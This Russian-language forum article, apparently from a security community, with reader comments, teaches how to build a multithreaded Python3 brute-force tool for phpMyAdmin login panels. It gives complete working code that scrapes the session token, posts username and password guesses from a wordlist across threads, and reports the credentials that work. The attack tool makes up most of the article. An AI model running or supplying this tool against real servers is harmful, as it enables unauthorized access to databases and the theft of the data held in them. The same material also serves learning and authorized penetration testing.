Статья Подбор паролей для панели PHPmyadmin с нуля: работаем, используя Python3

Вступление

Доброго времени суток, коллеги, сегодня мы с вами будем писать небольшую программу для подбора паролей к панели авторизации на замечательном языке Python3.

Мы с вами постараемся придерживаться парадигмы ООП в ее самом простом виде, так как поддержка и расширение функционала даже в маленьком приложении без применения этого может стать весьма затруднительным делом.

Так же буду благодарен любой критике от товарищей, которые озвучат свой взгляд на код в целом и возможно помогут его улучшить, доработать.

Что же такое брутфорс атака? Как говорит нам один известный поисковик - брутфорсом называется метод взлома учетных записей путем перебора паролей к тому моменту, когда не кончится словарь или ключевое слово не будет признано системой, как истинное.

Термин образован от англоязычного словосочетания «brute force», означающего в переводе «грубая сила». Суть подхода заключается в последовательном автоматизированном переборе всех возможных комбинаций символов с целью рано или поздно найти правильную.

Алгоритм действий вкратце получается таким: мы отправлять какие-то данные на сервер, получаем ответ от сервера, проверяем устраивает-ли нас этот ответ и если нет, модифицируем данные и повторно отправляем уже изменённые, повторяем до тех пор пока ответ нас не устроит.

algoritm.png


Давайте посмотрим какие данные от нас ожидает панель входа PhpMyAdmin. Для этого откроем браузер, перейдем по URL-адресу ведущему нас к форме авторизации, откроем в браузере консоль разработчика и попробуем авторизоваться.

Screenshot_1.png


Как можем лицезреть, вход не удался, но зато мы получили важные сведения, а именно какой тип запроса, куда и с какими данными он должен быть направлен.

Честно признаться я понадеялся, что все же в ручном режиме смогу угадать пароль и еще совершил несколько неудачных попыток входа в систему, но заметил что параметр "set_session" и "token" меняются каждую попытку, будем решать и эту задачу и хватит лирических отступлений, пора переходить к делу.

Начинаем писать код

Но перед тем как писать код, вначале создадим виртуальное окружение для удобной работы с нашим проектом, как это сделать я рассказывал в этой статье.

Нам понадобятся следующие библиотеки:
Код:
beautifulsoup4==4.9.1
bs4==0.0.1
certifi==2020.6.20
chardet==3.0.4
idna==2.10
lxml==4.5.2
requests==2.24.0
soupsieve==2.0.1
urllib3==1.25.9
Устанавливаем их:
Код:
pip install requests && pip install bs4 && pip install lxml

Обратите внимание что некоторые библиотеки поддерживаются только в Python3
Для чего они нужны и как мы их будем использовать вы увидите далее.

Теперь нам стоит определиться с архитектурой программы и с тем какие классы будем реализовывать.
  1. Нужно получить "set_session" и еще некоторые данные, а именно "token" и "server".
  2. Механизм попытки авторизации.
  3. Получить аргументы командной строки (параметры такие как "имя пользователя", "url" и "лист паролей") которые введет пользователь нашей программы, дабы облегчить ему использования инструмента.
  4. Реализовать сам алгоритм перебора паролей.
  5. Реализуем многопоточность, да GIL, но мы же учимся !
Итого у нас получиться 5 классов:
  • TargetData - для получение данных от панели PhpMyAdmin.
  • PhpMyAdminAuthorization - с говорящим названием о том что он будет пытаться авторизоваться в PhpMyAdmin.
  • UserArgument - который будет работать с пользовательскими данными.
  • BruteForceAttack - как не удивительно, класс который будет реализовывать методы для брутфорса.
  • Threads - для методов реализации многопоточности.
Затем импортируем библиотеки:
Python:
import requests
import threading
import argparse
import time # тут скорее декоративна и не обязательна, но будет интересно посмотреть, с какой скоростью наша программа будет брутить.
from bs4 import BeautifulSoup as bs4
Первый раз, первый класс: объявляем класс и так же конструктор, говорим, что на входе этот класс будет принимать некую строковую переменную.

Далее немного библиотеки "requests" в которой говорится, что объект "Session" позволяет сохранять некоторые параметры в запросах и если мы делаем несколько запросов на один и тот же хост, базовое TCP-соединение будет использоваться повторно, что может привести к значительному увеличению производительности. Потом собственно делаем этот самый запрос и получаем исходный код странички куда обращались:
Python:
class TargetData:
    def __init__(self, php_my_admin_url: str):
        self.php_my_admin_url = php_my_admin_url
        self.authorization_session = requests.Session()
        self.gotten_html = self.authorization_session.get(self.php_my_admin_url)
        self.soup = bs4(self.gotten_html.content, 'lxml')
Далее добавим классу два метода, которые будут возвращать нам найденные в ранее полученном HTML строки, содержащие в себе "token" и "server".
Это может быть дублирующий себя код, но разделить на два метода я решил потому что:
  • Они возвращают разные данные.
  • Считаю что один метод, должен делать только что-то одно, если не прав, поправьте в комментариях.
  • Только нужные нам значения содержаться в одинаковых атрибутах HTML а может понадобиться и что то другое.
Python:
    def get_parse_csrf_token(self) -> str:
        csrf_token_value = self.soup.find('input', {'name': 'token'})['value']
        return csrf_token_value

    def get_parse_server(self) -> str:
        server_value = self.soup.find('input', {'name': 'server'})['value']
        return server_value
Python:
class TargetData:
    def __init__(self, php_my_admin_url: str):
        self.php_my_admin_url = php_my_admin_url
        self.authorization_session = requests.Session()
        self.gotten_html = self.authorization_session.get(self.php_my_admin_url)
        self.soup = bs4(self.gotten_html.content, 'lxml')

    def get_parse_csrf_token(self) -> str:
        csrf_token_value = self.soup.find('input', {'name': 'token'})['value']
        return csrf_token_value

    def get_parse_server(self) -> str:
        server_value = self.soup.find('input', {'name': 'server'})['value']
        return server_value
На этом с первым классом заканчиваем и переходим ко второму, объявляем класс и уже знакомый нам метод конструктора класса который будет принимать три строковых значения, это "url"," user_name" и "user_password".

Наследуем от класса TargetData, дабы получить его свойства и методы и передаем ему значение переменной с говорящим названием "php_my_admin_url":
Python:
class PhpMyAdminAuthorization(TargetData):
    def __init__(self, php_my_admin_url: str, user_name: str, user_password: str):
        super().__init__(php_my_admin_url=php_my_admin_url)
        self.user_name = user_name
        self.user_password = user_password
Теперь добавим этому классу сам метод авторизации в панели Phpmyadmin.
Создаем список с параметрами, сервер и токен берем из методов класса "TargetData" от которого мы и наследовались, отправляем данные методом пост и получаем результат, тут все просто:
Python:
    def login_attempt(self) -> str:
        authorization_data = {'pma_username': self.user_name, 'pma_password': self.user_password,
                              'server': self.get_parse_server(),
                              'target': 'index.php',
                              'token': self.get_parse_csrf_token()}

        request_authorization = self.authorization_session.post(self.php_my_admin_url, data=authorization_data)
        result_authorization = request_authorization.text
        return result_authorization
И добавим нашему классу "PhpMyAdminAuthorization" еще один метод, который будет возвращать нам, что же там вернулась в результате попытке авторизации. Этот метод будет возвращать булево значение "True" или "False" в зависимости от того, есть ли в результате авторизации строка "Cannot log in to the MySQL server", если нет, то "True" и "False" во всех остальных случаях.
Python:
    def get_result_authorization(self) -> bool:
        is_result_authorization = False
        failed_authorization_messages = f"Cannot log in to the MySQL server"
        if failed_authorization_messages not in self.login_attempt():
            is_result_authorization = True
        return is_result_authorization
Python:
class PhpMyAdminAuthorization(TargetData):
    def __init__(self, php_my_admin_url: str, user_name: str, user_password: str):
        super().__init__(php_my_admin_url=php_my_admin_url)
        self.user_name = user_name
        self.user_password = user_password

    def login_attempt(self) -> str:
        authorization_data = {'pma_username': self.user_name, 'pma_password': self.user_password,
                              'server': self.get_parse_server(),
                              'target': 'index.php',
                              'token': self.get_parse_csrf_token()}

        request_authorization = self.authorization_session.post(self.php_my_admin_url, data=authorization_data)
        result_authorization = request_authorization.text
        return result_authorization

    def get_result_authorization(self) -> bool:
        is_result_authorization = False
        failed_authorization_messages = f"Cannot log in to the MySQL server"
        if failed_authorization_messages not in self.login_attempt():
            is_result_authorization = True
        return is_result_authorization
Половина дела уже сделана, но теперь нужно будет морально подготовиться, потому что сейчас мы начнем реализовывать самый большой класс, который будет отвечать за взаимодействия пользователя с программой.

Объявляем класс, снова конструктор и куча методов которые инициализируются в конструкторе. Возможно дальше вы поймете меня, но я считаю, что если пользователь может взаимодействовать с приложением, значит он может и что-то в нем сломать. Поэтому я постарался написать хотя-бы немного проверок для тех аргументов, что будет передавать пользователь, давайте теперь пройдемся по этим методам:
Python:
class UserArgument:
    def __init__(self):
        self.user_settings_for_brute_force = argparse.ArgumentParser(
            description='Instructions for using the program')
        self.add_arguments()
        self.brute_force_settings = self.user_settings_for_brute_force.parse_args()
        self.target_for_attack = self.brute_force_settings.target
        self.check_valid_target_url()
        self.username = self.brute_force_settings.username
        self.check_valid_password_list()
        self.password_list = [str(password).strip('\n') for password in self.brute_force_settings.password_list]
        self.number_threads = self.brute_force_settings.rate
        self.check_valid_type_rate()
Первый метод у нас "add_arguments()" и он очень прост, добавляет аргументы к объекту "настройки пользователя для брутфорса":
Python:
    def add_arguments(self):
        self.user_settings_for_brute_force.add_argument('-t', '--target', default='http://172.18.12.12/phpmyadmin',
                                                        nargs='?',
                                                        help='Link to admin panel phpmyadmin '
                                                             'format: http://site.ru/phpmyadmin')

        self.user_settings_for_brute_force.add_argument('-u', '--username', default='phpmyadmin', nargs='?',
                                                        help='Database username.')

        self.user_settings_for_brute_force.add_argument('-p', '--password_list', default='10_random_pass', nargs='?',
                                                        help='The path to the file with passwords can be either sexual '
                                                             'or relative. There must be one password on one line.')

        self.user_settings_for_brute_force.add_argument('-r', '--rate', default='10', nargs='?',
                                                        help='The number of threads with which the program will start '
                                                             'working. The number of streams should not exceed '
                                                             'the number of passwords in your password list.')

Следующий метод "check_valid_target_url()" - проверяет является ли указанный пользователем URL-панелью PhpMyAdmin и если нет, заставляет его ввести корректный URL, а затем снова проверяет данные:
Python:
    def check_valid_target_url(self):
        try:
            TargetData(self.target_for_attack).get_parse_csrf_token()

        except TypeError:
            print('\nThi\'s target not phpmyadmin panel\n')
            self.target_for_attack = input('Enter the correct url: ')
            self.check_valid_target_url()
Далее пытаемся открыть файл пользователя с паролями, если это не удалось - просим указать корректный лист паролей и проверяем его на валидность вновь:
Python:
    def check_valid_password_list(self):
        try:
            self.brute_force_settings.password_list = open(f'{self.brute_force_settings.password_list}', 'r',
                                                           encoding='utf8')
        except FileNotFoundError:
            print('\nCould not find file\n')
            self.brute_force_settings.password_list = input('Enter the correct path to the file: ')
            self.check_valid_password_list()
Третий способ - это у нас проверка на корректность введенных потоков, если это значение состоит не из одних целых чисел или превышает количество паролей в листе, то просим задать этот параметр по новой:
Python:
    def check_valid_type_rate(self):
        if self.number_threads.isdigit() is not True or int(self.number_threads) > len(self.password_list) + 1:
            print('\nGiven number of threads, not an integer or entered incorrectly\n')
            self.number_threads = input('Enter the correct number of threads: ')
            self.check_valid_type_rate()
        self.number_threads = int(self.number_threads)

Теперь добавим нашему классу "UserArgument" еще несколько методов, все они возвращают нам те или иные значения:
Python:
    def get_target_attack(self) -> str:
        return self.target_for_attack

    def get_username(self) -> str:
        return self.username

    def get_password_list(self) -> list:
        return self.password_list

    def get_number_threads(self) -> str:
        return self.number_threads
Python:
class UserArgument:
    def __init__(self):
        self.user_settings_for_brute_force = argparse.ArgumentParser(
            description='Instructions for using the program')
        self.add_arguments()
        self.brute_force_settings = self.user_settings_for_brute_force.parse_args()
        self.target_for_attack = self.brute_force_settings.target
        self.check_valid_target_url()
        self.username = self.brute_force_settings.username
        self.check_valid_password_list()
        self.password_list = [str(password).strip('\n') for password in self.brute_force_settings.password_list]
        self.number_threads = self.brute_force_settings.rate
        self.check_valid_type_rate()

    def add_arguments(self):
        self.user_settings_for_brute_force.add_argument('-t', '--target', default='http://172.18.12.12/phpmyadmin',
                                                        nargs='?',
                                                        help='Link to admin panel phpmyadmin '
                                                             'format: http://site.ru/phpmyadmin')

        self.user_settings_for_brute_force.add_argument('-u', '--username', default='phpmyadmin', nargs='?',
                                                        help='Database username.')

        self.user_settings_for_brute_force.add_argument('-p', '--password_list', default='10_random_pass', nargs='?',
                                                        help='The path to the file with passwords can be either sexual '
                                                             'or relative. There must be one password on one line.')

        self.user_settings_for_brute_force.add_argument('-r', '--rate', default='10', nargs='?',
                                                        help='The number of threads with which the program will start '
                                                             'working. The number of streams should not exceed '
                                                             'the number of passwords in your password list.')

    def check_valid_target_url(self):
        try:
            TargetData(self.target_for_attack).get_parse_csrf_token()

        except TypeError:
            print('\nThi\'s target not phpmyadmin panel\n')
            self.target_for_attack = input('Enter the correct url: ')
            self.check_valid_target_url()

    def check_valid_password_list(self):
        try:
            self.brute_force_settings.password_list = open(f'{self.brute_force_settings.password_list}', 'r',
                                                           encoding='utf8')
        except FileNotFoundError:
            print('\nCould not find file\n')
            self.brute_force_settings.password_list = input('Enter the correct path to the file: ')
            self.check_valid_password_list()

    def check_valid_type_rate(self):
        if self.number_threads.isdigit() is not True or int(self.number_threads) > len(self.password_list) + 1:
            print('\nGiven number of threads, not an integer or entered incorrectly\n')
            self.number_threads = input('Enter the correct number of threads: ')
            self.check_valid_type_rate()
        self.number_threads = int(self.number_threads)

    def get_target_attack(self) -> str:
        return self.target_for_attack

    def get_username(self) -> str:
        return self.username

    def get_password_list(self) -> list:
        return self.password_list

    def get_number_threads(self) -> str:
        return self.number_threads
Ух, с этим вроде бы закончили, теперь осталось написать логику самого скприпта и добавить многопоточности.
Объявляем класс "BruteForceAttack" и в конструктор кладем значение которые нам вернут методы из "UserArgument":
Python:
class BruteForceAttack:
    def __init__(self):
        self.attack_target = user_setting.get_target_attack()
        self.username = user_setting.get_username()
        self.passwords_list = user_setting.get_password_list()
Затем напишем метод для цикличной попытки авторизации, этот способ принимает на вход два параметра, о них немного позже.

После замеряем время, а затем запускаем цикл, в котором количество итераций будет равно срезу из "self.passwords_list[от - до]".

В цикле создаем экземпляр класса "PhpMyAdminAuthorization" с параметрами, которые мы получили из класса "UserArgument" и если его метод "get_result_authorization()" вернет нам "True", то мы напечатаем найденные логин с паролем, а так же время, которое потребовалось на брут, если нет, то цикл продолжит свою работу:
Python:
    def start_attack(self, start_of_list: int, end_of_list: int):
        start_time = time.monotonic()
        list_one_thread = self.passwords_list[start_of_list:end_of_list]
        for password in list_one_thread:
            try:
                login_attempt_phpmyadmin = PhpMyAdminAuthorization(php_my_admin_url=f'{self.attack_target}/index.php',
                                                                   user_name=self.username, user_password=password)
                if login_attempt_phpmyadmin.get_result_authorization():
                    print(f'login: {login_attempt_phpmyadmin.user_name} |'
                          f' password: {login_attempt_phpmyadmin.user_password} ')
                    print(time.monotonic() - start_time)
            except IndexError:
                pass
Python:
class BruteForceAttack:
    def __init__(self):
        self.attack_target = user_setting.get_target_attack()
        self.username = user_setting.get_username()
        self.passwords_list = user_setting.get_password_list()

    def start_attack(self, start_of_list: int, end_of_list: int):
        start_time = time.monotonic()
        list_one_thread = self.passwords_list[start_of_list:end_of_list]
        for password in list_one_thread:
            try:
                login_attempt_phpmyadmin = PhpMyAdminAuthorization(php_my_admin_url=f'{self.attack_target}/index.php',
                                                                   user_name=self.username, user_password=password)
                if login_attempt_phpmyadmin.get_result_authorization():
                    print(f'login: {login_attempt_phpmyadmin.user_name} |'
                          f' password: {login_attempt_phpmyadmin.user_password} ')
                    print(time.monotonic() - start_time)
            except IndexError:
                pass
Остался еще последний (почти) штришок - многопоточность. Объявляем класс "Threads" и наследуем от класса "Thread" из библиотеки "Threading".
Опять эти свойства, начало и конец листа, для чего же они нам ? Терпение, скоро все станет понятно:
Python:
class Threads(threading.Thread):
    def __init__(self, start_of_list, end_of_list):
        threading.Thread.__init__(self)
        self.start_of_list = start_of_list
        self.end_of_list = end_of_list
А пока добавим метод "run()", который будет вызывать класс "BruteForceAttack" экземпляр, которого мы создадим уже скоро:
Python:
def run(self):
    brute_force_attack.start_attack(self.start_of_list, self.end_of_list)
Python:
class Threads(threading.Thread):
    def __init__(self, start_of_list, end_of_list):
        threading.Thread.__init__(self)
        self.start_of_list = start_of_list
        self.end_of_list = end_of_list

    def run(self):
        brute_force_attack.start_attack(self.start_of_list, self.end_of_list)
По ходу написания статьи я понял, что стоит добавить еще один класс который назвал "StartProgram" с методом "main()".
Вот он:
Python:
class StartProgram:
    def __init__(self):
        self.number_threads = int(user_setting.get_number_threads())
        self.length_password_list = len(user_setting.get_password_list())

    def main(self):
        start_list = 0
        max_list = self.length_password_list // self.number_threads
        for i in range(self.number_threads):
            thread = Threads(start_list, max_list)
            start_list = max_list
            max_list = start_list + self.length_password_list // self.number_threads
            thread.start()

А теперь поговорим о тех самых непонятных переменных "start_of_list" и "end_of_list" из класса "Threads".
В конструкторе класса "StartProgram" мы объявляем две переменные одна из которых является "integer" значением, которое нам возвращает метод "get_number_threads()" класса "UserArgument".

А вторая длинной значения которое возвращает его же метод "get_password_list()"
Дальше в методе "main()" класса "StartProgram" происходит некоторая магия, в цикле создается экземпляр класса Threads с параметрами 0 и количество паролей деленное на количество потоков.

Это работает следующим образом, допустим, что у нас в списке паролей 100 строк и мы запустили программу в 10 потоков, то в первую итерацию цикла метода "main() Threads" будет запущен с аргументами(0,10) во вторую (10,20) и т.д.
Далее в классе "Threads" будет вызван поток для объекта "brute_force_attack". Таким образом в первом потоке будут перебираться пароли с 1 строки по 9, а во втором потоке пароли из списка с 10 по 19 строку и так далее.

Ну и финальный стук по клавиатуре, создаем объекты классов и запускаем программу:
Python:
if __name__ == '__main__':
    user_setting = UserArgument()
    brute_force_attack = BruteForceAttack()
    StartProgram().main()
И по традиции весь код целиком:
Python:
import requests
import threading
import argparse
import time
from bs4 import BeautifulSoup as bs4

class TargetData:
    def __init__(self, php_my_admin_url: str):
        self.php_my_admin_url = php_my_admin_url
        self.authorization_session = requests.Session()
        self.gotten_html = self.authorization_session.get(self.php_my_admin_url)
        self.soup = bs4(self.gotten_html.content, 'lxml')

    def get_parse_csrf_token(self) -> str:
        csrf_token_value = self.soup.find('input', {'name': 'token'})['value']
        return csrf_token_value

    def get_parse_server(self) -> str:
        server_value = self.soup.find('input', {'name': 'server'})['value']
        return server_value

class PhpMyAdminAuthorization(TargetData):
    def __init__(self, php_my_admin_url: str, user_name: str, user_password: str):
        super().__init__(php_my_admin_url=php_my_admin_url)
        self.user_name = user_name
        self.user_password = user_password

    def login_attempt(self) -> str:
        authorization_data = {'pma_username': self.user_name, 'pma_password': self.user_password,
                              'server': self.get_parse_server(),
                              'target': 'index.php',
                              'token': self.get_parse_csrf_token()}

        request_authorization = self.authorization_session.post(self.php_my_admin_url, data=authorization_data)
        result_authorization = request_authorization.text
        return result_authorization

    def get_result_authorization(self) -> bool:
        is_result_authorization = False
        failed_authorization_messages = f"Cannot log in to the MySQL server"
        if failed_authorization_messages not in self.login_attempt():
            is_result_authorization = True
        return is_result_authorization

class UserArgument:
    def __init__(self):
        self.user_settings_for_brute_force = argparse.ArgumentParser(
            description='Instructions for using the program')
        self.add_arguments()
        self.brute_force_settings = self.user_settings_for_brute_force.parse_args()
        self.target_for_attack = self.brute_force_settings.target
        self.check_valid_target_url()
        self.username = self.brute_force_settings.username
        self.check_valid_password_list()
        self.password_list = [str(password).strip('\n') for password in self.brute_force_settings.password_list]
        self.number_threads = self.brute_force_settings.rate
        self.check_valid_type_rate()

    def add_arguments(self):
        self.user_settings_for_brute_force.add_argument('-t', '--target', default='http://172.18.12.12/phpmyadmin',
                                                        nargs='?',
                                                        help='Link to admin panel phpmyadmin '
                                                             'format: http://site.ru/phpmyadmin')

        self.user_settings_for_brute_force.add_argument('-u', '--username', default='phpmyadmin', nargs='?',
                                                        help='Database username.')

        self.user_settings_for_brute_force.add_argument('-p', '--password_list', default='10_random_pass', nargs='?',
                                                        help='The path to the file with passwords can be either sexual '
                                                             'or relative. There must be one password on one line.')

        self.user_settings_for_brute_force.add_argument('-r', '--rate', default='10', nargs='?',
                                                        help='The number of threads with which the program will start '
                                                             'working. The number of streams should not exceed '
                                                             'the number of passwords in your password list.')

    def check_valid_target_url(self):
        try:
            TargetData(self.target_for_attack).get_parse_csrf_token()

        except TypeError:
            print('\nThi\'s target not phpmyadmin panel\n')
            self.target_for_attack = input('Enter the correct url: ')
            self.check_valid_target_url()

    def check_valid_password_list(self):
        try:
            self.brute_force_settings.password_list = open(f'{self.brute_force_settings.password_list}', 'r',
                                                           encoding='utf8')
        except FileNotFoundError:
            print('\nCould not find file\n')
            self.brute_force_settings.password_list = input('Enter the correct path to the file: ')
            self.check_valid_password_list()

    def check_valid_type_rate(self):
        if self.number_threads.isdigit() is not True or int(self.number_threads) > len(self.password_list) + 1:
            print('\nGiven number of threads, not an integer or entered incorrectly\n')
            self.number_threads = input('Enter the correct number of threads: ')
            self.check_valid_type_rate()
        self.number_threads = int(self.number_threads)

    def get_target_attack(self) -> str:
        return self.target_for_attack

    def get_username(self) -> str:
        return self.username

    def get_password_list(self) -> list:
        return self.password_list

    def get_number_threads(self) -> str:
        return self.number_threads

class BruteForceAttack:
    def __init__(self):
        self.attack_target = user_setting.get_target_attack()
        self.username = user_setting.get_username()
        self.passwords_list = user_setting.get_password_list()

    def start_attack(self, start_of_list: int, end_of_list: int):
        start_time = time.monotonic()
        list_one_thread = self.passwords_list[start_of_list:end_of_list]
        for password in list_one_thread:
            try:
                login_attempt_phpmyadmin = PhpMyAdminAuthorization(php_my_admin_url=f'{self.attack_target}/index.php',
                                                                   user_name=self.username, user_password=password)
                if login_attempt_phpmyadmin.get_result_authorization():
                    print(f'login: {login_attempt_phpmyadmin.user_name} |'
                          f' password: {login_attempt_phpmyadmin.user_password} ')
                    print(time.monotonic() - start_time)
            except IndexError:
                pass

class Threads(threading.Thread):
    def __init__(self, start_of_list, end_of_list):
        threading.Thread.__init__(self)
        self.start_of_list = start_of_list
        self.end_of_list = end_of_list

    def run(self):
        brute_force_attack.start_attack(self.start_of_list, self.end_of_list)

class StartProgram:
    def __init__(self):
        self.number_threads = int(user_setting.get_number_threads())
        self.length_password_list = len(user_setting.get_password_list())

    def main(self):
        start_list = 0
        max_list = self.length_password_list // self.number_threads
        for i in range(self.number_threads):
            thread = Threads(start_list, max_list)
            start_list = max_list
            max_list = start_list + self.length_password_list // self.number_threads
            thread.start()

if __name__ == '__main__':
    user_setting = UserArgument()
    brute_force_attack = BruteForceAttack()
    StartProgram().main()
Заключение и тестирование нашей программы

Программу я протестировал на списках паролей следующей длины 10000 паролей, 1000 паролей и 10 паролей в файле.

Скорость выполнения в рамках локальной сети вы видите на приведенном ниже скриншоте.

speed_my_brute.png


Надеюсь, после прочтения данного материала вы узнали что-то новое для себя, чему-то научились и сами стали чуточку лучше.

Буду ждать комментариев.
 
Последнее редактирование модератором:

Сергей Попов

Кодебай
30.12.2015
4 718
6 707
BIT
366
Не используйте выделение светлыми тонами - текст сливается с фоном (на форуме есть светлый стиль). Цвет текста статьи отредактирован.
 

Rodari

New member
11.08.2020
2
0
BIT
0
Спасибо, очень интересная статья и хороший код! Хотел бы понять один момент:
Python:
def run(self):
    brute_force_attack.start_attack(self.start_of_list, self.end_of_list)

Понятно что этот метод вызывает экземпляр класса BruteForceAttack, но я не могу понять почему это работает без передачи его в качастве аргумента.
 

Proxy n1nja

Green Team
28.06.2018
118
149
BIT
0
Спасибо, очень интересная статья и хороший код! Хотел бы понять один момент:
Python:
def run(self):
    brute_force_attack.start_attack(self.start_of_list, self.end_of_list)

Понятно что этот метод вызывает экземпляр класса BruteForceAttack, но я не могу понять почему это работает без передачи его в качастве аргумента.
Я не совсем понял вопрос. Ты наверное имеешь ввиду конструкцию threading.Thread(target=brute_force_attack.start_attack, args=start_of_list, end_of_list) ?
Если так, то это потому что есть класс Threads который наследуется от класса Thread из библиотеки threading, у которого в свою очередь есть метод run, этот метод является точкой входа в поток. Мы в классе Threads этот метод переопределили и просто в нем обращаемся к методу .start_attack()
Вот можешь подробнее почитать.
 
  • Нравится
Реакции: Aqueous и Rodari

Rodari

New member
11.08.2020
2
0
BIT
0
Я не совсем понял вопрос. Ты наверное имеешь ввиду конструкцию threading.Thread(target=brute_force_attack.start_attack, args=start_of_list, end_of_list) ?
Если так, то это потому что есть класс Threads который наследуется от класса Thread из библиотеки threading, у которого в свою очередь есть метод run, этот метод является точкой входа в поток. Мы в классе Threads этот метод переопределили и просто в нем обращаемся к методу .start_attack()
Вот можешь подробнее почитать.

Понял, спасибо за ответ!
 

yky

Green Team
31.12.2019
100
41
BIT
7
Куча зависимости ,медленный ЯП. Хотя для развития пойдёт )
 

ROP

Red Team
27.08.2019
327
664
BIT
155
Спасибо вам за статью.
Огромная работа была проделана (y)
Python очень удобен :)
 
10.04.2021
1
0
BIT
0
Ну ты для rockyou.txt не подготовил(
+ где печать сама? Ничё в терминале не видать(
medusa в этом плане знает, что делать)
а так спасибо конечно)
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!